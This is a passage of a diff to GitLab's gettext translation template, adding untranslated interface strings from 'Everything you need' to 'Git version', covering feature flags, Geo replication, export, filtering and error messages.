+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Hugo."
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Jekyll."
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using plain HTML."
+msgstr ""
+
+msgid "Evidence collection"
+msgstr ""
+
+msgid "Exactly one of %{attributes} is required"
+msgstr ""
+
+msgid "Example: %{ip_address}. %{read_more_link}."
+msgstr ""
+
+msgid "Example: @sub\\.company\\.com$"
+msgstr ""
+
+msgid "Example: My Value Stream"
+msgstr ""
+
+msgid "Example: Usage = single query. (Requested) / (Capacity) = multiple queries combined into a formula."
+msgstr ""
+
+msgid "Except policy:"
+msgstr ""
+
+msgid "Excluding merge commits. Limited to %{limit} commits."
+msgstr ""
+
+msgid "Excluding merge commits. Limited to 6,000 commits."
+msgstr ""
+
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
+msgid "Existing members and groups"
+msgstr ""
+
+msgid "Existing projects may be moved into a group"
+msgstr ""
+
+msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
+msgstr ""
+
+msgid "Existing sign in methods may be removed"
+msgstr ""
+
+msgid "Expand"
+msgstr ""
+
+msgid "Expand all"
+msgstr ""
+
+msgid "Expand approvers"
+msgstr ""
+
+msgid "Expand dropdown"
+msgstr ""
+
+msgid "Expand milestones"
+msgstr ""
+
+msgid "Expand sidebar"
+msgstr ""
+
+msgid "Expected documents: %{expected_documents}"
+msgstr ""
+
+msgid "Experienced"
+msgstr ""
+
+msgid "Expiration"
+msgstr ""
+
+msgid "Expiration date"
+msgstr ""
+
+msgid "Expired"
+msgstr ""
+
+msgid "Expired %{expiredOn}"
+msgstr ""
+
+msgid "Expired:"
+msgstr ""
+
+msgid "Expires"
+msgstr ""
+
+msgid "Expires at"
+msgstr ""
+
+msgid "Expires in %{expires_at}"
+msgstr ""
+
+msgid "Expires on"
+msgstr ""
+
+msgid "Expires:"
+msgstr ""
+
+msgid "Explain the problem. If appropriate, provide a link to the relevant issue or comment."
+msgstr ""
+
+msgid "Explore"
+msgstr ""
+
+msgid "Explore GitLab"
+msgstr ""
+
+msgid "Explore Groups"
+msgstr ""
+
+msgid "Explore groups"
+msgstr ""
+
+msgid "Explore projects"
+msgstr ""
+
+msgid "Explore public groups"
+msgstr ""
+
+msgid "Export"
+msgstr ""
+
+msgid "Export as CSV"
+msgstr ""
+
+msgid "Export group"
+msgstr ""
+
+msgid "Export issues"
+msgstr ""
+
+msgid "Export project"
+msgstr ""
+
+msgid "Export this group with all related data to a new GitLab instance. Once complete, you can import the data file from the \"New Group\" page."
+msgstr ""
+
+msgid "Export this project with all its related data in order to move your project to a new GitLab instance. Once the export is finished, you can import the file from the \"New Project\" page."
+msgstr ""
+
+msgid "Export variable to pipelines running on protected branches and tags only."
+msgstr ""
+
+msgid "External Classification Policy Authorization"
+msgstr ""
+
+msgid "External ID"
+msgstr ""
+
+msgid "External URL"
+msgstr ""
+
+msgid "External Wiki"
+msgstr ""
+
+msgid "External authentication"
+msgstr ""
+
+msgid "External authorization denied access to this project"
+msgstr ""
+
+msgid "External authorization request timeout"
+msgstr ""
+
+msgid "External storage URL"
+msgstr ""
+
+msgid "External storage authentication token"
+msgstr ""
+
+msgid "ExternalAuthorizationService|Classification label"
+msgstr ""
+
+msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
+msgstr ""
+
+msgid "ExternalWikiService|External Wiki"
+msgstr ""
+
+msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
+msgstr ""
+
+msgid "ExternalWikiService|The URL of the external Wiki"
+msgstr ""
+
+msgid "Facebook"
+msgstr ""
+
+msgid "Failed"
+msgstr ""
+
+msgid "Failed Jobs"
+msgstr ""
+
+msgid "Failed on"
+msgstr ""
+
+msgid "Failed to add a Zoom meeting"
+msgstr ""
+
+msgid "Failed to apply commands."
+msgstr ""
+
+msgid "Failed to assign a user because no user was found."
+msgstr ""
+
+msgid "Failed to cancel auto stop because failed to update the environment."
+msgstr ""
+
+msgid "Failed to cancel auto stop because the environment is not set as auto stop."
+msgstr ""
+
+msgid "Failed to cancel auto stop because you do not have permission to update the environment."
+msgstr ""
+
+msgid "Failed to change the owner"
+msgstr ""
+
+msgid "Failed to check related branches."
+msgstr ""
+
+msgid "Failed to create Merge Request. Please try again."
+msgstr ""
+
+msgid "Failed to create a branch for this issue. Please try again."
+msgstr ""
+
+msgid "Failed to create import label for jira import."
+msgstr ""
+
+msgid "Failed to create repository"
+msgstr ""
+
+msgid "Failed to create resources"
+msgstr ""
+
+msgid "Failed to create wiki"
+msgstr ""
+
+msgid "Failed to delete board. Please try again."
+msgstr ""
+
+msgid "Failed to deploy to"
+msgstr ""
+
+msgid "Failed to enqueue the rebase operation, possibly due to a long-lived transaction. Try again later."
+msgstr ""
+
+msgid "Failed to find import label for Jira import."
+msgstr ""
+
+msgid "Failed to get ref."
+msgstr ""
+
+msgid "Failed to install."
+msgstr ""
+
+msgid "Failed to load assignees. Please try again."
+msgstr ""
+
+msgid "Failed to load authors. Please try again."
+msgstr ""
+
+msgid "Failed to load emoji list."
+msgstr ""
+
+msgid "Failed to load error details from Sentry."
+msgstr ""
+
+msgid "Failed to load errors from Sentry."
+msgstr ""
+
+msgid "Failed to load group activity metrics. Please try again."
+msgstr ""
+
+msgid "Failed to load groups & users."
+msgstr ""
+
+msgid "Failed to load labels. Please try again."
+msgstr ""
+
+msgid "Failed to load milestones. Please try again."
+msgstr ""
+
+msgid "Failed to load related branches"
+msgstr ""
+
+msgid "Failed to load stacktrace."
+msgstr ""
+
+msgid "Failed to mark this issue as a duplicate because referenced issue was not found."
+msgstr ""
+
+msgid "Failed to move this issue because label was not found."
+msgstr ""
+
+msgid "Failed to move this issue because only a single label can be provided."
+msgstr ""
+
+msgid "Failed to move this issue because target project doesn't exist."
+msgstr ""
+
+msgid "Failed to promote label due to internal error. Please contact administrators."
+msgstr ""
+
+msgid "Failed to protect the branch"
+msgstr ""
+
+msgid "Failed to protect the environment"
+msgstr ""
+
+msgid "Failed to publish issue on status page."
+msgstr ""
+
+msgid "Failed to remove a Zoom meeting"
+msgstr ""
+
+msgid "Failed to remove issue from board, please try again."
+msgstr ""
+
+msgid "Failed to remove mirror."
+msgstr ""
+
+msgid "Failed to remove the pipeline schedule"
+msgstr ""
+
+msgid "Failed to remove user identity."
+msgstr ""
+
+msgid "Failed to remove user key."
+msgstr ""
+
+msgid "Failed to reset key. Please try again."
+msgstr ""
+
+msgid "Failed to save merge conflicts resolutions. Please try again!"
+msgstr ""
+
+msgid "Failed to save new settings"
+msgstr ""
+
+msgid "Failed to save preferences (%{error_message})."
+msgstr ""
+
+msgid "Failed to save preferences."
+msgstr ""
+
+msgid "Failed to set due date because the date format is invalid."
+msgstr ""
+
+msgid "Failed to set iteration on this issue. Please try again."
+msgstr ""
+
+msgid "Failed to signing using smartcard authentication"
+msgstr ""
+
+msgid "Failed to update branch!"
+msgstr ""
+
+msgid "Failed to update environment!"
+msgstr ""
+
+msgid "Failed to update issue status"
+msgstr ""
+
+msgid "Failed to update issues, please try again."
+msgstr ""
+
+msgid "Failed to update tag!"
+msgstr ""
+
+msgid "Failed to update."
+msgstr ""
+
+msgid "Failed to upgrade."
+msgstr ""
+
+msgid "Failed to upload object map file"
+msgstr ""
+
+msgid "Failed to verify domain ownership"
+msgstr ""
+
+msgid "Failure"
+msgstr ""
+
+msgid "False positive"
+msgstr ""
+
+msgid "Fast-forward merge is not possible. Rebase the source branch onto %{targetBranch} to allow this merge request to be merged."
+msgstr ""
+
+msgid "Fast-forward merge is not possible. Rebase the source branch onto the target branch."
+msgstr ""
+
+msgid "Fast-forward merge without a merge commit"
+msgstr ""
+
+msgid "Faster as it re-uses the project workspace (falling back to clone if it doesn't exist)"
+msgstr ""
+
+msgid "Faster releases. Better code. Less pain."
+msgstr ""
+
+msgid "Favicon was successfully removed."
+msgstr ""
+
+msgid "Feature Flags"
+msgstr ""
+
+msgid "Feature flag was not removed."
+msgstr ""
+
+msgid "Feature flag was successfully removed."
+msgstr ""
+
+msgid "FeatureFlags|%d user"
+msgid_plural "FeatureFlags|%d users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "FeatureFlags|* (All Environments)"
+msgstr ""
+
+msgid "FeatureFlags|* (All environments)"
+msgstr ""
+
+msgid "FeatureFlags|API URL"
+msgstr ""
+
+msgid "FeatureFlags|Active"
+msgstr ""
+
+msgid "FeatureFlags|Add strategy"
+msgstr ""
+
+msgid "FeatureFlags|All Environments"
+msgstr ""
+
+msgid "FeatureFlags|All Users"
+msgstr ""
+
+msgid "FeatureFlags|All users"
+msgstr ""
+
+msgid "FeatureFlags|Configure"
+msgstr ""
+
+msgid "FeatureFlags|Configure feature flags"
+msgstr ""
+
+msgid "FeatureFlags|Create feature flag"
+msgstr ""
+
+msgid "FeatureFlags|Delete %{name}?"
+msgstr ""
+
+msgid "FeatureFlags|Delete feature flag"
+msgstr ""
+
+msgid "FeatureFlags|Description"
+msgstr ""
+
+msgid "FeatureFlags|Edit Feature Flag"
+msgstr ""
+
+msgid "FeatureFlags|Edit User List"
+msgstr ""
+
+msgid "FeatureFlags|Enable features for specific users and specific environments by defining feature flag strategies."
+msgstr ""
+
+msgid "FeatureFlags|Environment Spec"
+msgstr ""
+
+msgid "FeatureFlags|Environment Specs"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag User List Details"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag has no strategies"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flags"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flags will look different in the next milestone. No action is needed, but you may notice the functionality was changed to improve the workflow."
+msgstr ""
+
+msgid "FeatureFlags|Feature flag %{name} will be removed. Are you sure?"
+msgstr ""
+
+msgid "FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality."
+msgstr ""
+
+msgid "FeatureFlags|Flag becomes read only soon"
+msgstr ""
+
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
+msgid "FeatureFlags|Get started with feature flags"
+msgstr ""
+
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
+msgstr ""
+
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
+msgid "FeatureFlags|ID"
+msgstr ""
+
+msgid "FeatureFlags|Inactive"
+msgstr ""
+
+msgid "FeatureFlags|Inactive flag for %{scope}"
+msgstr ""
+
+msgid "FeatureFlags|Include additional user IDs"
+msgstr ""
+
+msgid "FeatureFlags|Install a %{docs_link_anchored_start}compatible client library%{docs_link_anchored_end} and specify the API URL, application name, and instance ID during the configuration setup. %{docs_link_start}More Information%{docs_link_end}"
+msgstr ""
+
+msgid "FeatureFlags|Instance ID"
+msgstr ""
+
+msgid "FeatureFlags|List details"
+msgstr ""
+
+msgid "FeatureFlags|Loading feature flags"
+msgstr ""
+
+msgid "FeatureFlags|More information"
+msgstr ""
+
+msgid "FeatureFlags|Name"
+msgstr ""
+
+msgid "FeatureFlags|New"
+msgstr ""
+
+msgid "FeatureFlags|New Feature Flag"
+msgstr ""
+
+msgid "FeatureFlags|New User List"
+msgstr ""
+
+msgid "FeatureFlags|New feature flag"
+msgstr ""
+
+msgid "FeatureFlags|New list"
+msgstr ""
+
+msgid "FeatureFlags|Percent of users"
+msgstr ""
+
+msgid "FeatureFlags|Percent rollout (logged in users)"
+msgstr ""
+
+msgid "FeatureFlags|Percent rollout must be a whole number between 0 and 100"
+msgstr ""
+
+msgid "FeatureFlags|Protected"
+msgstr ""
+
+msgid "FeatureFlags|Remove"
+msgstr ""
+
+msgid "FeatureFlags|Rollout Percentage"
+msgstr ""
+
+msgid "FeatureFlags|Rollout Strategy"
+msgstr ""
+
+msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
+msgstr ""
+
+msgid "FeatureFlags|Status"
+msgstr ""
+
+msgid "FeatureFlags|Strategies"
+msgstr ""
+
+msgid "FeatureFlags|Target environments"
+msgstr ""
+
+msgid "FeatureFlags|There was an error fetching the feature flags."
+msgstr ""
+
+msgid "FeatureFlags|There was an error retrieving user lists"
+msgstr ""
+
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
+msgid "FeatureFlags|Try again in a few moments or contact your support team."
+msgstr ""
+
+msgid "FeatureFlags|User IDs"
+msgstr ""
+
+msgid "FeatureFlags|User List"
+msgstr ""
+
+msgid "FeatureFlag|List"
+msgstr ""
+
+msgid "FeatureFlag|Percentage"
+msgstr ""
+
+msgid "FeatureFlag|Select a user list"
+msgstr ""
+
+msgid "FeatureFlag|There are no configured user lists"
+msgstr ""
+
+msgid "FeatureFlag|Type"
+msgstr ""
+
+msgid "FeatureFlag|User IDs"
+msgstr ""
+
+msgid "Feb"
+msgstr ""
+
+msgid "February"
+msgstr ""
+
+msgid "Fetching incoming email"
+msgstr ""
+
+msgid "Fetching licenses failed."
+msgstr ""
+
+msgid "Fetching licenses failed. The request endpoint was not found."
+msgstr ""
+
+msgid "Fetching licenses failed. You are not permitted to perform this action."
+msgstr ""
+
+msgid "File"
+msgstr ""
+
+msgid "File %{current} of %{total}"
+msgstr ""
+
+msgid "File Hooks"
+msgstr ""
+
+msgid "File Hooks (%{count})"
+msgstr ""
+
+msgid "File added"
+msgstr ""
+
+msgid "File browser"
+msgstr ""
+
+msgid "File deleted"
+msgstr ""
+
+msgid "File format is no longer supported"
+msgstr ""
+
+msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
+msgstr ""
+
+msgid "File mode changed from %{a_mode} to %{b_mode}"
+msgstr ""
+
+msgid "File moved"
+msgstr ""
+
+msgid "File name"
+msgstr ""
+
+msgid "File renamed with no changes."
+msgstr ""
+
+msgid "File sync capacity"
+msgstr ""
+
+msgid "File templates"
+msgstr ""
+
+msgid "File upload error."
+msgstr ""
+
+msgid "Files"
+msgstr ""
+
+msgid "Files breadcrumb"
+msgstr ""
+
+msgid "Files, directories, and submodules in the path %{path} for commit reference %{ref}"
+msgstr ""
+
+msgid "Fill in the fields below, turn on %{strong_open}Enable SAML authentication for this group%{strong_close}, and press %{strong_open}Save changes%{strong_close}"
+msgstr ""
+
+msgid "Filter"
+msgstr ""
+
+msgid "Filter by %{issuable_type} that are currently closed."
+msgstr ""
+
+msgid "Filter by %{issuable_type} that are currently opened."
+msgstr ""
+
+msgid "Filter by %{page_context_word} that are currently opened."
+msgstr ""
+
+msgid "Filter by Git revision"
+msgstr ""
+
+msgid "Filter by issues that are currently closed."
+msgstr ""
+
+msgid "Filter by label"
+msgstr ""
+
+msgid "Filter by merge requests that are currently closed and unmerged."
+msgstr ""
+
+msgid "Filter by merge requests that are currently merged."
+msgstr ""
+
+msgid "Filter by milestone name"
+msgstr ""
+
+msgid "Filter by name"
+msgstr ""
+
+msgid "Filter by requirements that are currently archived."
+msgstr ""
+
+msgid "Filter by requirements that are currently opened."
+msgstr ""
+
+msgid "Filter by status"
+msgstr ""
+
+msgid "Filter by two-factor authentication"
+msgstr ""
+
+msgid "Filter by user"
+msgstr ""
+
+msgid "Filter pipelines"
+msgstr ""
+
+msgid "Filter results"
+msgstr ""
+
+msgid "Filter results by group"
+msgstr ""
+
+msgid "Filter results by project"
+msgstr ""
+
+msgid "Filter results..."
+msgstr ""
+
+msgid "Filter your projects by name"
+msgstr ""
+
+msgid "Filter..."
+msgstr ""
+
+msgid "Find File"
+msgstr ""
+
+msgid "Find bugs in your code with coverage-guided fuzzing"
+msgstr ""
+
+msgid "Find by path"
+msgstr ""
+
+msgid "Find existing members by name"
+msgstr ""
+
+msgid "Find file"
+msgstr ""
+
+msgid "Find the downloaded ZIP file and decompress it."
+msgstr ""
+
+msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
+msgstr ""
+
+msgid "Fingerprint"
+msgstr ""
+
+msgid "Fingerprints"
+msgstr ""
+
+msgid "Finish editing this message first!"
+msgstr ""
+
+msgid "Finish review"
+msgstr ""
+
+msgid "Finish setting up your dedicated account for %{group_name}."
+msgstr ""
+
+msgid "Finished"
+msgstr ""
+
+msgid "First Name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "First Seen"
+msgstr ""
+
+msgid "First day of the week"
+msgstr ""
+
+msgid "First name"
+msgstr ""
+
+msgid "First seen"
+msgstr ""
+
+msgid "Fixed date"
+msgstr ""
+
+msgid "Fixed due date"
+msgstr ""
+
+msgid "Fixed start date"
+msgstr ""
+
+msgid "Fixed:"
+msgstr ""
+
+msgid "Flags"
+msgstr ""
+
+msgid "FlowdockService|Flowdock Git source token"
+msgstr ""
+
+msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
+msgstr ""
+
+msgid "FogBugz Email"
+msgstr ""
+
+msgid "FogBugz Import"
+msgstr ""
+
+msgid "FogBugz Password"
+msgstr ""
+
+msgid "FogBugz URL"
+msgstr ""
+
+msgid "FogBugz import"
+msgstr ""
+
+msgid "Folder/%{name}"
+msgstr ""
+
+msgid "Follow the steps below to export your Google Code project data."
+msgstr ""
+
+msgid "Font Color"
+msgstr ""
+
+msgid "Footer message"
+msgstr ""
+
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
+msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
+msgstr ""
+
+msgid "For more info, read the documentation."
+msgstr ""
+
+msgid "For more information, go to the "
+msgstr ""
+
+msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
+msgstr ""
+
+msgid "For more information, see the File Hooks documentation."
+msgstr ""
+
+msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
+msgstr ""
+
+msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgstr ""
+
+msgid "For private projects, any member (guest or higher) can view pipelines and access job details (output logs and artifacts)"
+msgstr ""
+
+msgid "For public projects, anyone can view pipelines and access job details (output logs and artifacts)"
+msgstr ""
+
+msgid "Forgot your password?"
+msgstr ""
+
+msgid "Fork"
+msgstr ""
+
+msgid "Fork Error!"
+msgstr ""
+
+msgid "Fork project"
+msgstr ""
+
+msgid "Fork project?"
+msgstr ""
+
+msgid "ForkedFromProjectPath|Forked from"
+msgstr ""
+
+msgid "ForkedFromProjectPath|Forked from an inaccessible project"
+msgstr ""
+
+msgid "Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
+msgid "Forking in progress"
+msgstr ""
+
+msgid "Forks"
+msgstr ""
+
+msgid "Format: %{dateFormat}"
+msgstr ""
+
+msgid "Forward external support email address to"
+msgstr ""
+
+msgid "Found errors in your %{gitlab_ci_yml}:"
+msgstr ""
+
+msgid "Found errors in your .gitlab-ci.yml:"
+msgstr ""
+
+msgid "Free Trial"
+msgstr ""
+
+msgid "Free Trial of GitLab.com Gold"
+msgstr ""
+
+msgid "Freeze end"
+msgstr ""
+
+msgid "Freeze start"
+msgstr ""
+
+msgid "Frequency"
+msgstr ""
+
+msgid "Friday"
+msgstr ""
+
+msgid "From"
+msgstr ""
+
+msgid "From %{code_open}%{source_title}%{code_close} into"
+msgstr ""
+
+msgid "From %{providerTitle}"
+msgstr ""
+
+msgid "From Google Code"
+msgstr ""
+
+msgid "From issue creation until deploy to production"
+msgstr ""
+
+msgid "From merge request merge until deploy to production"
+msgstr ""
+
+msgid "From the Kubernetes cluster details view, install Runner from the applications list"
+msgstr ""
+
+msgid "Full name"
+msgstr ""
+
+msgid "GPG Key ID:"
+msgstr ""
+
+msgid "GPG Keys"
+msgstr ""
+
+msgid "GPG keys allow you to verify signed commits."
+msgstr ""
+
+msgid "GPG signature (loading...)"
+msgstr ""
+
+msgid "General"
+msgstr ""
+
+msgid "General Settings"
+msgstr ""
+
+msgid "General pipelines"
+msgstr ""
+
+msgid "Generate a default set of labels"
+msgstr ""
+
+msgid "Generate key"
+msgstr ""
+
+msgid "Generate new export"
+msgstr ""
+
+msgid "Generate new token"
+msgstr ""
+
+msgid "Geo"
+msgstr ""
+
+msgid "Geo Nodes"
+msgstr ""
+
+msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
+msgstr ""
+
+msgid "Geo Replication"
+msgstr ""
+
+msgid "Geo Settings"
+msgstr ""
+
+msgid "Geo nodes are paused using a command run on the node"
+msgstr ""
+
+msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
+msgstr ""
+
+msgid "GeoNodeSyncStatus|Node is failing or broken."
+msgstr ""
+
+msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
+msgstr ""
+
+msgid "GeoNodes|Consult Geo troubleshooting information"
+msgstr ""
+
+msgid "GeoNodes|Data replication lag"
+msgstr ""
+
+msgid "GeoNodes|Does not match the primary storage configuration"
+msgstr ""
+
+msgid "GeoNodes|Full"
+msgstr ""
+
+msgid "GeoNodes|GitLab version"
+msgstr ""
+
+msgid "GeoNodes|GitLab version does not match the primary node version"
+msgstr ""
+
+msgid "GeoNodes|Health status"
+msgstr ""
+
+msgid "GeoNodes|Internal URL"
+msgstr ""
+
+msgid "GeoNodes|Last event ID processed by cursor"
+msgstr ""
+
+msgid "GeoNodes|Last event ID seen from primary"
+msgstr ""
+
+msgid "GeoNodes|Learn more about Geo node statuses"
+msgstr ""
+
+msgid "GeoNodes|Loading nodes"
+msgstr ""
+
+msgid "GeoNodes|New node"
+msgstr ""
+
+msgid "GeoNodes|Node Authentication was successfully repaired."
+msgstr ""
+
+msgid "GeoNodes|Node URL"
+msgstr ""
+
+msgid "GeoNodes|Node was successfully removed."
+msgstr ""
+
+msgid "GeoNodes|Node's status was updated %{timeAgo}."
+msgstr ""
+
+msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
+msgstr ""
+
+msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
+msgstr ""
+
+msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
+msgstr ""
+
+msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
+msgstr ""
+
+msgid "GeoNodes|Replication slot WAL"
+msgstr ""
+
+msgid "GeoNodes|Replication slots"
+msgstr ""
+
+msgid "GeoNodes|Replication status"
+msgstr ""
+
+msgid "GeoNodes|Selective (%{syncLabel})"
+msgstr ""
+
+msgid "GeoNodes|Selective synchronization"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while changing node status"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while fetching nodes"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while removing node"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while repairing node"
+msgstr ""
+
+msgid "GeoNodes|Storage config"
+msgstr ""
+
+msgid "GeoNodes|Sync settings"
+msgstr ""
+
+msgid "GeoNodes|Unused slots"
+msgstr ""
+
+msgid "GeoNodes|Updated %{timeAgo}"
+msgstr ""
+
+msgid "GeoNodes|Used slots"
+msgstr ""
+
+msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
+msgstr ""
+
+msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
+msgstr ""
+
+msgid "GeoNodes|primary node"
+msgstr ""
+
+msgid "GeoNodes|secondary nodes"
+msgstr ""
+
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
+msgid "Geo|%{label} can't be blank"
+msgstr ""
+
+msgid "Geo|%{label} should be between 1-999"
+msgstr ""
+
+msgid "Geo|%{name} is scheduled for forced re-download"
+msgstr ""
+
+msgid "Geo|%{name} is scheduled for re-sync"
+msgstr ""
+
+msgid "Geo|%{name} is scheduled for re-verify"
+msgstr ""
+
+msgid "Geo|Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
+msgstr ""
+
+msgid "Geo|All %{replicable_name}"
+msgstr ""
+
+msgid "Geo|All projects"
+msgstr ""
+
+msgid "Geo|All projects are being scheduled for resync"
+msgstr ""
+
+msgid "Geo|All projects are being scheduled for reverify"
+msgstr ""
+
+msgid "Geo|Allowed Geo IP can't be blank"
+msgstr ""
+
+msgid "Geo|Allowed Geo IP should be between 1 and 255 characters"
+msgstr ""
+
+msgid "Geo|Allowed Geo IP should contain valid IP addresses"
+msgstr ""
+
+msgid "Geo|Connection timeout can't be blank"
+msgstr ""
+
+msgid "Geo|Connection timeout must be a number"
+msgstr ""
+
+msgid "Geo|Connection timeout should be between 1-120"
+msgstr ""
+
+msgid "Geo|Could not remove tracking entry for an existing project."
+msgstr ""
+
+msgid "Geo|Could not remove tracking entry for an existing upload."
+msgstr ""
+
+msgid "Geo|Failed"
+msgstr ""
+
+msgid "Geo|Filter by status"
+msgstr ""
+
+msgid "Geo|Geo Status"
+msgstr ""
+
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
+msgid "Geo|In progress"
+msgstr ""
+
+msgid "Geo|In sync"
+msgstr ""
+
+msgid "Geo|Last repository check run"
+msgstr ""
+
+msgid "Geo|Last successful sync"
+msgstr ""
+
+msgid "Geo|Last sync attempt"
+msgstr ""
+
+msgid "Geo|Last time verified"
+msgstr ""
+
+msgid "Geo|Never"
+msgstr ""
+
+msgid "Geo|Next sync scheduled at"
+msgstr ""
+
+msgid "Geo|Node name can't be blank"
+msgstr ""
+
+msgid "Geo|Node name should be between 1 and 255 characters"
+msgstr ""
+
+msgid "Geo|Not synced yet"
+msgstr ""
+
+msgid "Geo|Pending synchronization"
+msgstr ""
+
+msgid "Geo|Pending verification"
+msgstr ""
+
+msgid "Geo|Please refer to Geo Troubleshooting."
+msgstr ""
+
+msgid "Geo|Project"
+msgstr ""
+
+msgid "Geo|Project (ID: %{project_id}) no longer exists on the primary. It is safe to remove this entry, as this will not remove any data on disk."
+msgstr ""
+
+msgid "Geo|Projects in certain groups"
+msgstr ""
+
+msgid "Geo|Projects in certain storage shards"
+msgstr ""
+
+msgid "Geo|Redownload"
+msgstr ""
+
+msgid "Geo|Remove"
+msgstr ""
+
+msgid "Geo|Remove entry"
+msgstr ""
+
+msgid "Geo|Remove tracking database entry"
+msgstr ""
+
+msgid "Geo|Resync"
+msgstr ""
+
+msgid "Geo|Resync all"
+msgstr ""
+
+msgid "Geo|Retry count"
+msgstr ""
+
+msgid "Geo|Reverify"
+msgstr ""
+
+msgid "Geo|Reverify all"
+msgstr ""
+
+msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
+msgstr ""
+
+msgid "Geo|Status"
+msgstr ""
+
+msgid "Geo|Synced"
+msgstr ""
+
+msgid "Geo|Synced at"
+msgstr ""
+
+msgid "Geo|Synchronization failed - %{error}"
+msgstr ""
+
+msgid "Geo|Synchronization of %{itemTitle} is disabled."
+msgstr ""
+
+msgid "Geo|The database is currently %{db_lag} behind the primary node."
+msgstr ""
+
+msgid "Geo|The node is currently %{minutes_behind} behind the primary node."
+msgstr ""
+
+msgid "Geo|There are no %{replicable_type} to show"
+msgstr ""
+
+msgid "Geo|Tracking database entry will be removed. Are you sure?"
+msgstr ""
+
+msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
+msgstr ""
+
+msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
+msgstr ""
+
+msgid "Geo|URL can't be blank"
+msgstr ""
+
+msgid "Geo|URL must be a valid url (ex: https://gitlab.com)"
+msgstr ""
+
+msgid "Geo|Unknown state"
+msgstr ""
+
+msgid "Geo|Verification failed - %{error}"
+msgstr ""
+
+msgid "Geo|Waiting for scheduler"
+msgstr ""
+
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
+msgstr ""
+
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgstr ""
+
+msgid "Geo|misconfigured"
+msgstr ""
+
+msgid "Geo|primary"
+msgstr ""
+
+msgid "Geo|secondary"
+msgstr ""
+
+msgid "Get a free instance review"
+msgstr ""
+
+msgid "Get started"
+msgstr ""
+
+msgid "Get started with error tracking"
+msgstr ""
+
+msgid "Get started with performance monitoring"
+msgstr ""
+
+msgid "Get started!"
+msgstr ""
+
+msgid "Getting started with releases"
+msgstr ""
+
+msgid "Git LFS is not enabled on this GitLab server, contact your admin."
+msgstr ""
+
+msgid "Git LFS objects will be synced in pull mirrors if LFS is %{docs_link_start}enabled for the project%{docs_link_end}. They will %{strong_open}not%{strong_close} be synced in push mirrors."
+msgstr ""
+
+msgid "Git LFS status:"
+msgstr ""
+
+msgid "Git global setup"
+msgstr ""
+
+msgid "Git repository URL"
+msgstr ""
+
+msgid "Git revision"
+msgstr ""
+
+msgid "Git shallow clone"
+msgstr ""
+
+msgid "Git strategy for pipelines"
+msgstr ""
+
+msgid "Git version"
+msgstr ""
+
